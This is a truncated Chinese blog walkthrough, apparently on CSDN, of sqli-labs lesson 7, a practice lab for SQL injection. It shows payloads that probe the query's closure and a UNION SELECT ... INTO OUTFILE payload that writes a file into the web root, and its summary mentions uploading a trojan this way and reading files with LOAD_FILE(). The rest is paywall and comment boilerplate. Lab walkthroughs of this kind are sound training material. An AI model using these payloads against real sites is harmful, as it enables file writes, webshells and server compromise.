第7题:文件写入 into outfile '绝对路径'/into dumpfile '绝对路径'
id=1')) and 1=2--+
id=1')) and 1=1--+
说明为((' '))的闭合
order by得到字段数为3
上传文件
id=-1')) union select 1,2,3 into outfile "E:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\wuhu.txt"--+
上传成功
这里就可以
本文探讨了SQL中的文件写入操作，如使用`INTO OUTFILE`和`INTO DUMPFILE`，并展示了如何上传木马文件。同时，介绍了利用`LOAD_FILE()`进行文件读取，强调了读写文件需要绝对路径和权限。还分享了获取服务器路径的方法，如报错信息、遗留文件、漏洞报错和平台配置文件，并提醒了这些操作可能带来的安全问题。
最低0.47元/天 解锁文章
扫一扫
866
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
